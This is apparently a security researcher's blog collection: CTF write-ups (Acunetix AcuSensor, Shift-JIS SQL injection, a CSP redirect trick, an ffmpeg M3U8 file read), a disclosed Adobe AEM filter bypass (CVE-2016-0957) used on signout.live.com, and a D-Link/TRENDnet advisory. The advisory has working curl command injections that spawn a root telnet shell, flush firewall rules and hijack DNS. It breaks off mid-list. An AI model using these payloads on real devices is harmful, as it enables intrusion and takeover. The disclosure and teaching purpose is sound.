-H "Acunetix-Aspect-Password: 4faa9d4408780ae071ca2708e3f09449"

RTFM

As the provide acu_phpaspect script had been ‘minified’ the first step was to reformat the code into something more readable in order to gain an understanding into what this script would do when called. In addition to this, the Acunetix Acusensor installation manual was consulted in order to understand how this instrumentation should work when properly deployed.

The found documentation mentioned that an installation specific acu_phpaspect.php file (generated during setup) should be installed onto the web server, and the php.ini configuration file be updated to include this script as part of the auto_prepend_file directive. A quick search of the PHP manual for this directive yielded the following:

Given that the documentation indicated that the acu_phpaspect.php script would be ‘auto-loaded’ before any PHP is executed on the server, we were fairly certain that it likely contained a method to extract the flag.

Keys And Headers

A quick review of the reformatted acu_phpaspect.txt indicated that two HTTP Headers would need to be present in a request in order for the instrumentation to execute. This code also made reference to a 32-character hash called HTTP_ACUNETIX_ASPECT_PASSWORD; which was automatically read from the end of the same instrumentation script on execution:

$_ENV['_AAS0'] = (isset($_SERVER["HTTP_ACUNETIX_ASPECT"]) && $_SERVER["HTTP_ACUNETIX_ASPECT"] === "enabled");
if ($_ENV['_AAS0']) {
    $_ENV['_AAS0'] = false;
    if (isset($_SERVER["HTTP_ACUNETIX_ASPECT_PASSWORD"])) {
        $_AAS1 = fopen(__FILE__, 'r');
        fseek($_AAS1, -32, SEEK_END);
        $_ENV["_AAS2"] = stream_get_contents($_AAS1, 32);
        unset($_AAS1);
        $_ENV['_AAS0'] = $_SERVER["HTTP_ACUNETIX_ASPECT_PASSWORD"] === $_ENV["_AAS2"];
    }
}

In order to confirm our suspicions were correct, the Acunetix Acusensor manual was consulted once again, and the key extracted from the end of the provided acu_phpaspect.txt.

Twiddling Bits

Now that we had the keys and a basic understanding of how to invoke the installed instrumentation it was time to give it a shot and see what happened. The two HTTP headers which were required to be present in order for the instrumentation to work were as follows:

Acunetix-Aspect-Password
- Containing the 32-character hash from the end of acu_phpaspect.txt.
Acunetix-Aspect
- Containing the string enabled.

As luck would have it, when an HTTP request was submitted to the server with the above headers present, the following HTML comments were ‘automagically’ appended to the response by acu_phpaspect:

$ curl -D - "http://54.200.58.235/index.php" \
-H "Acunetix-Aspect: enabled" \
-H "Acunetix-Aspect-Password: 4faa9d4408780ae071ca2708e3f09449"

HTTP/1.1 200 OK
...
<!--BKPASPECT:MDAwMDAwMDRQQU5HbjAwMDAwMDAwMDAwMDAwMDBu--><html>
...
<!--BKPASPECT:MDAwMDAwMTBQSFBfRmlsZV9JbmNsdWRlczAwMDAwMDNDc3VwZXJfc2VjcmV0X2ZpbGVfY29udGFpbmluZ190aGVfZmxhZ195b3Vfc2hvdWxkX3JlYWRfaXQucGhwMDAwMDAwMTcvdmFyL3d3dy9odG1sL2luZGV4LnBocDAwMDAwMDBGczAwMDAwMDE1ImluY2x1ZGUiIHdhcyBjYWxsZWQuMDAwMDAwMEFWYXJfQWNjZXNzYTAwMDAwMDAyMDAwMDAwMDNHRVQwMDAwMDAwMXMwMDAwMDAxNy92YXIvd3d3L2h0bWwvaW5kZXgucGhwMDAwMDAwMTJuMDAwMDAwMEFWYXJfQWNjZXNzYTAwMDAwMDAyMDAwMDAwMDNHRVQwMDAwMDAxRHN1cGVyX3NlY3JldF9wYXJhbWV0ZXJfaGFoYWhhMDAwMDAwMTcvdmFyL3d3dy9odG1sL2luZGV4LnBocDAwMDAwMDE0bg==-->

Encoding To Victory?

Given the appended BKPASPECT strings looked suspiciously like Base64 encoded data, the value of the larger of the two was piped into base64 -d in order to attempt to decode it.

After a small amount of clean-up the following was the result of the Base64 decode:

Given the name of the included PHP script at the top of the decoded BKPASPECT string, the first thing we tried was fetching the super_secret_file_containing_the_flag_you_should_read_it.php file directly:

Unfortunately, both the output as well as the BKPASPECT from this file did not contain the flag. Boo!

Not So Secret

In addition to just the super_secret_file... in the original request, a reference to an HTTP GET paramater named super_secret_parameter_hahaha was also seen.

Given that the flag was supposedly inside of super_secret_file_containing_the_flag_you_should_read_it.php - which was not able to be read directly - this additional secret parameter was likely the path to getting the flag. In order to determine what this HTTP GET parameter was intended to be used for, super_secret_parameter_hahaha=true was appended to the initial request and the request was submitted once again.

The output stated, plain as day, that the value of the super_secret_parameter_hahaha HTTP GET parameter was being passed directly to a PHP file_get_contents() call. In order to test whether things were going to be easy, the value of this parameter in our request was changed to super_secret_file_containing_the_flag_you_should_read_it.php and the request resent.

Of course, we didn’t actually expect it to be so easy!

At this stage it appered that the value of the super_secret_parameter_hahaha parameter was being filtered to restrict loading php files, so a different strategy was required in order to retrieve the flag.

Sideline: The PHP ‘Protocol’

In PHP, a protocol handler named php:// exists in order to allow for ‘accessing various I/O streams.’ One of the functions provided by this protocol handler is filter: allowing for easy filtering of various other I/O streams directly inside of the URI.

This protocol handler is incredibly useful in a number of cases, especially when looking to bypass ‘restricted’ input :)

Give Us The Flag Already!

In an attempt to bypass the filename filter which was blocking the ability to load the file containing the flag a php://filer URI was provided in the value of the super_secret_parameter_hahaha parameter. This filter was constructed to requested the /var/www/html/super_secret_file_containing_the_flag_you_should_read_it.php file be read, Base64 encoded and the result then ‘read’ by file_get_contents().

After a large Base64 encoded block was successfully rendered to the page - outside of the BKPASPECT HTML comments - it looked as if this php://filter URI had successfully bypassed the filename filters. However, we still needed to Base64 decode this value and confirm that we had the flag.

With that done, we had the flag, an additional 100 points and moved on to some other challenges.

A big thanks to our team, as well as @BKPCTF and co for running the CTF and ‘keeping the lights on’ all weekend! Great work as always :)

Remote Code Execution (RCE) on Microsoft's 'signout.live.com'

Sun, 24 Jul 2016 08:00:00 +0000

TL;DR: The combination of a less than great vulnerability handling processes by Adobe, and the use of default credentials by Microsoft yielded remote code execution on the signout.live.com domain.

The following remote code execution vulnerability in the signout.live.com service was reported to the Microsoft Security Response Center in late 2015 and has since been patched. This vulnerability was the result of an operational configuration error, as well as another vulnerability inside of the Adobe Experience Manager (AEM) installation used to provide this service.

Due to the circumstances around this RCE, details of a previously unpublished and potentially ‘silently patched’ vulnerability in the Adobe Experience Manager (AEM) Dispatch module will also be covered (CVE-2016-0957).

AEM Overview

Adobe Experience Manager (AEM) is an ‘enterprise grade’ content management system sold and maintained by Adobe Systems. The core components of this system run inside of a JVM, with an optional Apache HTTP server module provided for ‘caching and/or load-balancing’.

AEM Architecture.

Upon first encounter, AEM appears to be a fairly typical enterprise application made of pain, suffering and Java. These feelings are quickly realized upon running the quickstart installation package which consists of a single several-hundred megabyte JAR that unpacks neatly into a tree of hatred and self loathing.

Under the hood, this ‘stock’ AEM deployment consists of a vast array of open source products and some Adobe brand glue. Rather than the services which comprise AEM being deployed in a ‘traditional’ manner, they are instead implemented as components inside of an Apache Felix based Open Services Gateway initiative (OSGi) framework.

The advantage of this system is that these components, known as OSGi ‘bundles’, can be installed, restarted, or re-configured without the need to restart the OSGi framework or underlying JVM. In addition, this architecture allows for the extension of AEM through the development and installation of custom OSGi bundles.

Deployment Topology

A ‘typical’ AEM deployment consists of three distinct tiers:

Author
- Provides an authoring environment for content (and other data).
- Publishes data to Publish nodes via replication queues (push).
- Stores content in a JCR compliant content repository.
- Runs in a JVM.
Publish
- Receives published content from the Author nodes.
- Serves published content to Dispatch nodes.
- Stores content in a JCR compliant content repository.
- Runs in a JVM.
Dispatch
- Serves and caches content from Publish nodes to the end-user.
- ‘Proxies’ requests back to the Publish farm if objects are not in cache (pull).
- Caches content on disk as rendered objects.
- Runs as an Apache HTTP Server module.

An example diagram of this style of tiered deployment can be found below:

In order to improve the security posture of an AEM installation, these tiers are typically deployed with the Author and Publish tiers protected from the world through network segmentation and/or access controls. The Dispatch tier is generally the only tier ‘open’ to the internet, providing a mechanism to retrieve and cache content from the Publish tier (in a manner not unlike that of a reverse-proxy).

Dispatch Filtering

As a result of the Dispatch tier pulling data from upstream Publish nodes, the Dispatch module implements a ‘filtering’ mechanism in order to mitigate abuse. This filter is especially important given that nodes in the Publish tier serve both content and administrative resources via the same Apache Sling service.

As an example of why this filtering is required, the following URLs on the Publish node publish.example.org are able to be accessed without any authentication:

https://publish.example.org/etc/reports/diskusage.html
- Provides a browsable view of all data in the content repository.
https://publish.example.org/content/www-example-org/en_US/example.html
- Renders an example page for the public ‘www.example.org’ website.

However, if accessed via the Dispatch tier - assuming a default Dispatch configuration with an empty cache - the following should be true:

https://Dispatch.example.org/etc/reports/disusage.html
- Filtered by the Dispatch tier, with an HTTP 404 served to the requestor.
https://publish.example.org/content/www-example-org/en_US/example.html
- Fetches a rendered example page for ‘www.example.org’ from the Publish tier.
- Serves the fetched page to the requestor.

In order to implement these restrictions, the default AEM Dispatch module configuration contains a set of filters which operate in a default ‘deny’ manner: If a resource hasn’t been explicitly allowed inside of a filter block, requests for that resource would be denied.

In order to better demonstrate this configuration, an excerpt from an example Dispatch configuration file - taken from the AEM 5.6.1 ‘security checklist’ - has been included below:

 # only handle the requests in the following acl. default is 'none'
 # the glob pattern is matched against the first request line
 /filter
   {
   # deny everything and allow specific entries
   /0001 { /type "deny"  /glob "*" }
   /0023 { /type "allow" /glob "* /content*" }
   ...
   # enable specific mime types in non-public content directories
   /0041 { /type "allow" /glob "* *.css *"   }  # enable css
   /0042 { /type "allow" /glob "* *.gif *"   }  # enable gifs
   ...
  }

The end result of this configuration is that the ability to pull Publish tier administrative resources through the Dispatch tier should be prevented.

…or perhaps not?

CVE-2016-0957

CVE-2016-0957 is a very simple vulnerability brought about by the unexpected and improper behavior of the glob filter inside of the AEM Dispatch module. The net result of this vulnerability is that glob filters can be trivially ‘coerced’ into returning an allow match for resources which may otherwise be denied. This coercion is possible due to glob filters matching on not only the requested resource URL, but also on any included HTTP query parameters.

Exploiting this vulnerability is as simple as appending a known-allowed resource path onto a filtered URL as an HTTP query parameter.

An example of this bypass can be found below; assuming the use of a configuration similar to that listed above:

https://Dispatch.example.org/system/console
- Implicitly denied by the Dispatch filter due to rule 0001.
- Does not match any subsequent rules.
- Access is denied.
https://Dispatch.example.org/system/console?.css
- Implicitly denied by the Dispatch filter due to rule 0001.
- The .css URL query parameter coerces the glob engine into matching rule 0041.
- Access is permitted.

Impact

Depending on the version and configuration of the affected AEM installation, the above vulnerability could expose the Publish tier to a number of vulnerabilities, including:

/libs/opensocial/proxy
- Provides a proxy which is able to be used to perform arbitrary server-side requests.
/etc/mobile/useragent-test.html
- Exposes a reflected Cross-Site Scripting (XSS) vulnerability in older versions of AEM 5.X.
/etc/reports/diskusage.html
- Exposes an unauthenticated, browsable view of all content in the repository which may lead to information disclosure.

Reporting.

This behavior was initially observed inside of an AEM 5.X environment which utilized a default Dispatch configuration towards the end of 2015. When discovered, this issue was reported to the Adobe PSIRT as a potential security vulnerability. A number of days after this report was submitted, the Adobe PSIRT advised that this was a known issue with the Dispatch module and had been ‘addressed’ in version 4.1.5 onwards.

As the reported behavior was observed in version 4.1.9 of the Dispatch module, a subsequent email was sent to the Adobe PSIRT in order to request additional information.

After some time, the Adobe PSIRT detailed that the reported issue had been previously discovered internally and that version 4.1.5 of the Dispatch module onwards contains a url filter directive which should be used in place of glob filters.

In order to confirm suspicions that this issue had been ‘silently patched’ by Adobe, all security advisories and release notes for the Dispatch module were reviewed. In the end, only a single-line statement relating to this change was able to be found - which was found in a CHANGELOG file, inside of the 4.1.5 Dispatch module release tarball:

DISP-407 - Security Checklist: Default Dispatch rules can be circumvented by query-string

Further to this statement, no additional information appeared to have been published relating to this vulnerability.

As a result of these findings, an additional email was sent to the Adobe PSIRT expressing concerns related to the handling of this vulnerability and a retrospective security advisory was requested.

On February 9 of 2016, Adobe raised APSB16-05 which formally allocated CVE-2016-0957 to this vulnerability, and disclosed that ‘Dispatch 4.1.5 and higher resolves a URL filter bypass vulnerability that could be used to circumvent Dispatch rules’.

Unfortunately, due to the nature of this vulnerability, simply upgrading the Dispatch module does not appear to mitigate this vulnerability. In order to mitigate, the Dispatch module must not only be updated to at least version 4.1.5, but any glob filters defined in the Dispatch configuration should be replaced with url filters.

The world’s lamest RCE.

With an overview of both AEM and CVE-2016-0957 out of the way, the following section describes an example where the combination of this filter bypass, and the misconfiguration of the AEM Publish nodes used by signout.live.com were able to be used together in order to allow for the execution of arbitrary code.

The discovery of this issue came about through regular interaction with the Microsoft Live service, rather than through active testing. At the time, the signout.live.com domain appeared to be used as a logout ‘landing’ page for the Microsoft Live service.

When this signout redirect was first encountered, it was noticed that the URL structure looked suspiciously like it may have been generated by an AEM. In order to confirm these suspicions, the body of the rendered HTML page was examined for the presence of a number of common AEM components. The presence of a handful of Javascript libraries indicated that this page was at least generated by AEM.

As this was following the discussed interactions with the Adobe PSIRT, an attempt was immediately made to see whether the default glob style filters were in use. This was done by requesting the URL for the AEM OSGi console with an HTTP query parameter of .css appended:

https://signout.live.com/system/console?.css

As this request was met with an HTTP 401, a subsequent request without any HTTP query parameters was performed. This second request being met with an HTTP 404 confirmed suspicions that the first request had successfully bypassed the Dispatch filters.

In order to verify that this was correct, this same URL was accessed using a web browser both with and without the query parameter. As expected, the former request successfully bypassed the Dispatch filter and resulted in an HTTP Basic authentication prompt:

Given that it was possible to bypass the Dispatch filters, it was initially thought that it may have been possible to brute force credentials for an AEM built-in administrative accounts in order to gain access to the OSGi console. However, before getting that far, and in a “what if..?” moment, the default credentials of admin / admin were attempted.

In a moment of utter disbeleief, it appeared that these default credentials had been accepted and full-administrative access to the AEM Publish nodes’ OSGi console had been granted. In order to confirm that this was valid, a number of subseqent requests inside of the OSGi console were performed, all of which completed successfully.

At this stage, it would have been possible to execute code inside of the JVM through the upload of a custom OSGi bundle. However, the question was whether it was possible to escalate access further - as a purely hypothetical and ‘off instance’ exercise, as no code was attempted to be loaded into the Microsoft system at any time.

As part of this exercise, a list of loaded OSGi bundles in a generic AEM 5.X deployment was reviewed, where it was noted that org.apache.commons.exec was loaded. This bundle appeared to be an implementation of the Apache Commons Exec library, which provides a method to ‘…reliably execute external processes from within the JVM’.

In order to confirm whether this library was able to be used, a quick proof-of-concept which utilized both this library, as well as the OSGi BundleActivator interface was developed. This OSGi bundle was configured in such a way that when loaded, the org.apache.commons.exec library would be called and a ping command would be fired against an external server.

Due to the nature of the AEM OSGi framework, once installed, this module would persist inside of the system and would be loaded automatically at system start-up.

Ignoring POM files and associated boilerplate, a simple ‘command executor’ OSGi bundle was able to be implemented in as few as 18 lines of Java - and likely in less by someone who knew what they were doing :)

public class ProviderActivator implements BundleActivator {
    String staticCommand = "C:\\Windows\\System32\\ping.exe www.example.org";

    @Override
    public void start(BundleContext bundleContext) throws Exception {
        CommandLine cmdLine = CommandLine.parse(staticCommand);
        DefaultExecutor executor = new DefaultExecutor();

        try {
            executor.execute(cmdLine);
        } catch(java.io.IOException ex) {
            ex.printStackTrace();
        }
    }

    @Override
    public void stop(BundleContext bundleContext) throws Exception {
    }
}

Note: As mentioned above, no code was loaded into the Microsoft system at any time. The proof-of-concept code prepared as part of this exercise was compiled and provided as part of the report to Microsoft, but was never loaded into the system.

Reporting.

This vulnerability was reported to the MSRC on the 3rd of December 2015, and was both confirmed and assigned a case manager within 24-hours. After some time and back-and-forth with the MSRC, this vulnerability was confirmed to have been resolved on the 3rd of May 2016.

Unfortunately, on the 4th of May 2016 it was confirmed by the MSRC that this report was not eligible for a monetary reward under the Microsoft Online Services Bug Bounty program as the affected domain was not explicitly listed as in-scope.

Such is life! :)

Thanks.

I’d like to extend thanks to all of the MSRC staff who were involved in this case. Although this case took quite some time to be resolved, all of the MSRC staff encountered throughout were a pleasure to work with.

BKP CTF - Good Morning (Wonderland)

Sun, 06 Mar 2016 08:00:00 +0000

Over the last two days I’ve been participating in the Boston Key Party (BKP) CTF with a group ephemerally known as ‘Fear Of A Whitehat Planet’. In the end, we didn’t do too badly - with all of the web challenges, a couple of crypto, and only one of the pwn challenges complete - but better luck next time, eh?

The first web application that we worked on was ‘Good Morning’ (Wonderland on the CTF console). Although not a particularly complex challenge in the end, I thought I’d write-up our solution all the same.

Good Morning!

When first opened, Good Morning presented the user with a number of seemingly Python inspired questions:

What is your name?
What is your quest?
What is your favourite color?

Once all questions were answered, a thank you would be displayed with a survey number included in the response. When viewed through OWASP Zap, it was quickly apparent that all requests past the initial page load were over a WebSocket back to the origin.

The Setup

As the source for the application was provided, we decided to have a quick dig to see what’s happening on the server side.

The first thing which one of our team members (jdoe) noticed was that the MySQL character-set was hard-set to Shift-JIS, and input sanitization was being performed using a special character array and s.replace. As a result, it was almost guaranteed that this challenge would be able to be solved via SQL injection.

ShiftJIS

While looking through a quick summary of Shift-JIS, the following stood out:

Shift JIS is possible to use in string literals in programming languages such as C, but the 0x5C byte will cause problems when it appears as second byte of a two-byte character, because 0x5C, normally backslash, here ¥, will be interpreted as an escape sequence which will mess up the interpretation.

As a result of the above, and that the MySQL sanitization was being performed manually with a search and replace, we thought that it may have been possible to bypass sanitization using the ¥ character combined with \".

The next question was where to perform this injection. Ideally, we wanted a retrieval operation in order to be able to query the database for arbitrary data while searching for a flag - still assuming, at this stage, that the flag was inside the database.

WebSockets and JSON

Luckily enough, the last operation performed by the application when a survey was complete was to perform a query for a row associated with the user’s input answer for favourite color.

As a result of this get_answer call, we thought that we should be able to simply inject ¥\" in place of a proper question or answer, followed by some arbitrary SQL, in order to try and locate the flag.

Fire!

Rather than setting up a new WebSocket from Ruby or Python, we found it easier to just use OWASP Zap to fire requests at an already open WebSocket while the page was loaded. Lazy, yes, but hey! :)

At this stage, we still weren’t sure whether flag was inside of the database, and if it was, where it might be. As luck would have it, however, the first request yielded the flag, and three points for the team.

The full request sent to the WebSocket which gave us the flag was the following:

{"type":"get_answer","question":"¥\" OR 1=1;--","answer":""}

Finally, a big thanks to @BKPCTF for running the CTF! :)

BKP CTF - Bug Bounty (Suffolk Downs)

Sun, 06 Mar 2016 08:00:00 +0000

The third, and final, web application that we worked on was ‘Bug Bounty’ (‘Suffolk Downs’ on the CTF console). This was an interesting challenge which has us stumped for some time.

Bug Bounty

When first loaded, the ‘Bug Bounty’ challenge was seen to be exactly as it said on the tin, a Bug Bounty submission system.

The Flow.

After a bit of review, the flow was found to be as follows:

User creates an account.
User submits a bug.
- User provided with a SHA1 hash for tracking.
- User is requested to solve a captcha.
- New bug is marked with a status of ‘Pending review’.
User solves a captcha.
- The system marks the bug as ‘Seen’ after completion.

However, now that we believed that we had captured the ‘standard flow’ of the application, it was time to try and see whether we could affect the flow by tampering with any and all request data.

The Obvious?

At first, I had thought that this might be another challenge which could be solved with SQL Injection or directory traversal. However, after a number of attempts, it started to look less likely that this was the case. Everything appeared to reply with a simple Fail message when omitted, malformed, or intentionally tampered with.

As for directory traversal, this was not only incorrect, but also had me burn a number of hours ‘down the rabbit hole’. I have the feeling now, after the fact, that this was indeed a Red Herring added by the challenge designer :)

CSP.

To quote H5SC Minichallenge 3, “Sh*t, it’s CSP!”.

It was noticed quite quickly during the initial investigation that there was a very strict CSP (Content Security Policy) applied to all responses from the application. Given that this was present, and that a submitted bug changed status to ‘Seen’ after a captcha was solved, there was some thought that the intended solution involved a CSP bypass.

content-security-policy:"default-src 'none'; connect-src 'self';  frame-src 'self'; script-src 52.87.183.104:5000/dist/js/ 'sha256-KcMxZjpVxhUhzZiwuZ82bc0vAhYbUJsxyCXODP5ulto=' 'sha256-u++5+hMvnsKeoBWohJxxO3U9yHQHZU+2damUA6wnikQ=' 'sha256-zArnh0kTjtEOVDnamfOrI8qSpoiZbXttc6LzqNno8MM=' 'sha256-3PB3EBmojhuJg8mStgxkyy3OEJYJ73ruOF7nRScYnxk=' 'sha256-bk9UfcsBy+DUFULLU6uX/sJa0q7O7B8Aal2VVl43aDs='; font-src 52.87.183.104:5000/dist/fonts/ fonts.gstatic.com; style-src 52.87.183.104:5000/dist/css/ fonts.googleapis.com; img-src 'self';"

However, for ‘funsies’, I thought I’d give some very basic XXS a shot; just to be sure that the CSP was being applied and working as expected.

…Not surprisingly, CSP did exactly as it was configured:

At this stage, we started to look for scripts that we could use for a CSP bypass that were included in the whitelist - maybe AngularJS, or something else custom?

The Rabbit Hole Begins…

The rabbit hole started when I noticed that the page which renders a captcha on bug submission had an ng-app attribute set on the root html element.

As there were a number of third-party Javascript files present in the /dist/js/ directory on the web-server - included by the rest of the application - I wondered whether there was an AngularJS application lurking around. Perhaps there was also an administrative interface for this Bug Bounty system?

Although directory indexes were disabled, a lot of the time these files tend to be deployed with a fairly predictable naming convention:

angular.min.js
- A minified AngularJS.
app.js
- The AngularJS application itself.

Using the common names above, we found that there was was both a minified copy of AngularJS inside the /dist/js/ directory, as well as the scaffolding for an AngularJS application.

From here, I spent a number of hours trying various CSP bypass tricks with AngularJS in order to avoid being shot-down by the CSP (as in-line Javascript was being quashed by the CSP, listed above).

Unfortunately, all of my attempts culminated the following:

Enter META

After spending a bit of time reviewing CSP documentation and reported bypasses, we found that a META refresh tag has been demonstrated to be able to be used to hard-redirect to another page without CSP balking. Although this isn’t a CSP bypass, we thought that we might be able to use this to our advantage if the system which was marking submissions as ‘Seen’ was leaking any information on redirection (referrer headers, etc).

As a result, we knocked together a one-liner which attempts to immediately redirect the page to an HTTP request bin:

Once submitted, we accessed the submission via show_report - which loads the submission into an iframe on the page - only to find that the META refresh was also being blocked by CSP.

At this stage we were at a loss. However, as one final shot at the moon, we thought we should complete the captcha for this submission anyway; just in case the system marking these reports as ‘Seen’ was rendering reports in a different manner.

…To our surprise, not only did the META refresh fire after completing the captcha, but the HTTP User-Agent of the request was set to the flag!

With the flag captured, we claimed an additional three points, and marked off the last of the web challenges in the BKP CTF.

Once again, a big thanks to @BKPCTF for running the CTF! :)

9447 CTF - Super Turbo Atomic GIF Converter

Sun, 29 Nov 2015 08:00:00 +0000

Over the last two days I’ve been participating in the 9447 CTF with a group ephemerally known as ‘Moose 1v1’. As this was my first participation in any form of CTF, and our team managed to snatch the silver for being the second to solve this particular challenge, I thought I’d write-up the solution that our team came up with.

It’s worth noting that we burned a few hours going in entirely the wrong direction, which is discussed below. In the end the sources for the application were released as a hint, but that was a few hours after we’d managed to find the flag.

Enter the Super Turbo Atomic GIF Converter!

The ‘Super Turbo Atomic GIF Converter’ was released on day two of this years 9447 CTF. The application targeted in this competition was a very simple one-pager, with the goal being to find a way to fetch the flag from /home/ctf/flag.txt.

In line with the CTF comp description, the target application would convert an uploaded GIF into a WEBM file - the result of which would be rendered into an HTML response page as a base64 encoded HTML5 video (via <video src=data:video/webm;base64,...).

The result of the above operation was a playable HTML5 video:

Although a very small application, it took us a good number of hours (and a lot of coffee) in order to get a valid solve.

Content-Types vs File-names

First up, we attempted to see whether we could determine whether files uploaded were written into a web accessible directory. We had a quick poke around for any obviously named temporary upload directories through URL tampering, but this quickly yielded no results. Although unfruitful, it allowed us to determine that there was an upload file size limit of 1023KB (enforced by TCP RST), and that the application written in Python (using Flask / Werkzeug).

The next thing that we attempted was to upload media files of varying types. One of the first attempts was to upload a JPEG file - with a file suffix of .jpg - which was met immediately by an error message. This allowed us to determine that the application was performing at least some sort of type filtering.

We then intercepted and modified another attempted JPEG upload, this time tampering with the Content-Type header from the HTTP POST, as well changing the file suffix to .gif. This was much more successful, with the service rendering a single-frame WEBM to the page containing our uploaded JPEG file.

After a quick discussion and a few more tests we manged to determine that the service was only checking the file suffix, rather than the Content-Type HTTP header.

Next up was to determine how the files were being converted, this was achieved by downloaded the resulting file, and checking it for any meta-data that may have been left by the application responsible for converting / trans-coding the files.

A quick strings examination of the rendered WEBM file resulted in two telling strings that were presented in all converted files: Lavf56.40.101WA and Lavf56.40.101s. This, combined with the ability to convert almost any input format to WEBM, was a good indication that the service was most likely using ffmpeg to perform conversion.

From here, I was relatively hell-bent on attempting command-injection through input file-name - encasing Unix commands in the file name inside of back-ticks as well as $(). Unfortunately, none of these attempts were successful. It was at this point that one of our team members, jdoe, made the suggestion that the use of a file-name containing an ffmpeg filter (such as concat:) might work, but subsequent attempts with this method were also unsuccessful.

M3U8 and xFI

From here, we were relatively stumped until jdoe made another suggestion, asking whether ffpmeg supports playlist files. I was aware from some previous dealings with ffmpeg that it supported HLS streaming through use of M3U8 files, so we thought we’d give it a shot. We knocked together a quick M3U8 playlist containing a non-existent HTTP endpoint as the media segment source, gave the file a suffix of .gif.m3u8 and uploaded it.

After uploading the file, we were immediately greeted by a corrupt WEBM which was a great sign. A quick look at the logs from the server that we added to the M3U8 file as the segment source showed that there had been a query from a libavformat user-agent requesting the same invalid path included in our PoC.

From here, we knew we had a potential way of nabbing the flag, we just weren’t sure how to get the flag into a format that would be rendered by ffmpeg. As a result, I ended up getting stuck down the rabbit hole. At one point I was attempting to use M3U8 subtitle support to perform a local file inclusion of the flag, hoping that it would be rendered into the file in some manner. Needless to say, this didn’t work.

After a few hours of completely invalid attempts, we switched things up a bit and attempted a local file inclusion directly from the uploaded M3U8… Trans-coding a text file into a WEBM via M3U8 playlist? That can’t possibly work, can it?

…Apparently it can! With that, we had the flag, were up 180 points and nabbed the silver medal for the second to solve to boot :)

The following M3U8 file was used for our final solution. As above, it simply uses a local absolute file path as the source and has a duration of one-second set.

#EXTM3U
#EXT-X-TARGETDURATION:1
#EXTINF:1,
/home/ctf/flag.txt
#EXT-X-ENDLIST

Finally, a big thanks to @9447CTF for running the CTF! :)

Multiple vulnerabilities in D-Link and TRENDnet 'ncc2' service

Thu, 26 Feb 2015 08:00:00 +0000

A number of D-Link and TRENDnet devices provide web management through the use of two services; jjhttpd for serving web content, and ncc2 for executing CGI requests. Unfortunately, there are a few vulnerabilities that exist in the ncc2 service which can allow for an attacker on the local network - or remotely over the internet - to gain full access to the device.

A brief list of these vulnerabilities, as well as an analysis of the most pressing can be found below.

fwupgrade.ccp

The ncc / ncc2 service on the affected devices allows for basic firmware and language file upgrades via the web interface. During the operation, a HTTP POST is submitted to a resource named fwupgrade.ccp.

The request appears to be executed by the ncc / ncc2 service on the device, which runs as the root user.

Unfortunately, the filtering on this resource does not appear to be effective, as: file / MIME type filtering is not being performed; and the ‘on-failure’ redirection to the login page is being performed AFTER a file has already been written the the filesystem in full.

As a result of the above, this resource can be used to upload files to the filesystem of devices running vulnerable versions of ncc / ncc2 without authentication. This is also possible over the internet if WAN / remote management has been previously enabled on the device.

To compound the issue, at least in the case of the listed devices, files are written to a ramfs filesystem which is mounted at /var/tmp. Unfortunately, this mountpoint is also used to store volatile system configuration files, such as resolv.conf.

As a result, an attacker is able to hijack a user’s DNS configuration without authentication:

# Overwrite the DNS resolver with Google DNS
echo 'nameserver 8.8.8.8' > resolv.conf

curl \
 -i http://192.168.0.1/fwupgrade.ccp \
 -F action=fwupgrade \
 -F filename=resolv.conf \
 -F file=@resolv.conf

ping.ccp

The ncc / ncc2 service on the affected devices allow for basic ‘ping’ diagnostics to be performed via the ping.ccp resource. Unfortunately, it appears that strings passed to this call are not correctly sanitized.

Much in the same manner as above, requests are executed by the ncc / ncc2 service on the device, which is run as the root user.

The handler for ping_v4 does not appear to be vulnerable as this resource maps the components of a IPv4 address, represented by a dotted quad, into a format of %u.%u.%u.%u at execution time. However, ping_ipv6 references the user provided input directly as a string (%s), which is then passed to a system() call. This formatting allows for an attacker to pass arbitrary commands to the device through a HTTP request.

As this resource is also able to be accessed without authentication, it provides a vector for an attacker to execute arbitrary commands on the device - including, but not limited to, DNS hijacking and WAN firewall disablement - via CSRF.

# Spawn a root shell (telnet)
curl \
 -i http://192.168.0.1/ping.ccp \
 --data 'ccp_act=ping_v6&ping_addr=$(telnetd -l /bin/sh)'

# Flush the iptables INPUT chain and set the default policy to ACCEPT.
curl \
 -i http://192.168.0.1/ping.ccp \
 --data 'ccp_act=ping_v6&ping_addr=$(iptables -P INPUT ACCEPT)'
curl \
 -i http://192.168.0.1/ping.ccp \
 --data 'ccp_act=ping_v6&ping_addr=$(iptables -F INPUT)'

UDPServer / MP Daemon

Note: This vulnerability does not seem to be present in firmware versions before 1.05B03 on the DIR-820LA1, however this may differ on other platforms.

The ncc / ncc2 service on the affected devices appears to have been shipped with a number of diagnostic hooks available. Unfortunately, much in the same manner as the vulnerabilities discussed above, these hooks are able to be called without authentication.

One of the more ‘interesting’ hooks exposed by these devices allow for a UDPServer process to be spawned on the device when called. When started, this process begins listening on the LAN IP on UDP 9034. The source for this service (UDPServer) is available in the RealTek SDK, and appears to be a diagnostic tool.

Unfortunately, this process does not appear to perform any sort of input sanitization before passing user input to a system() call. As a result of the above, this process is vulnerable to arbitrary command injection.

# Spawn a root shell (telnet)
curl -i 192.168.0.1/test_mode.txt
echo "\`telnetd -l /bin/sh\`" > /dev/udp/192.168.0.1/9034

Diagnostic hooks

Further to the ‘test_mode’ hook discussed above, the ncc / ncc2 service on the affected devices appear to have been shipped with a number of other diagnostic hooks enabled by default:

tftpd_ready.txt
chklst.txt
wps_default_pin.txt
usb_connect.txt
wps_btn.txt
reset_btn.txt
reboot_btn.txt
calibration_ready24G.txt
calibration_ready5G.txt
restore_default_finish.txt
set_mac_finish.txt
test_mode.txt
wifist.txt

These resources do not exist on the filesystem of the device, nor do they appear to be static. Instead, these files appear to be rendered when queried and can be used to both interrogate the given device for information, as well as enable diagnostic services on demand.

Unfortunately, these hooks are able to be queried without any form of authentication, and are accessible by attackers on the local network, over the internet via WAN management (if enabled), and via CSRF.

A brief descriptions for each of these hooks is provided below. Those not listed provide either unknown functionality, or binary values which appear to represent system GPIO states (*_btn.txt).

tftp_ready.txt

When queried, this resource spawns a tftp daemon which has a root directory of /. As TFTP requires no authentication, this service can be used to extract credentials from the device or even download files from an external storage device connected via USB.

Unfortunately, due to the way this data is stored on the system, all credentials appear to be available in plain-text. These credentials can include (depending on the vendor and device configuration):

GUI / Device management credentials
Samba credentials
PPPoE credentials
Email credentials
‘MyDlink’ credentials (on D-Link devices)

chklst.txt

When queried, this resource will return the following information:

Current WLAN SSIDs
Current WLAN channels
LAN and WAN MAC addressing
Current Firmware version information
Hardware version information
Language information

wps_default_pin.txt

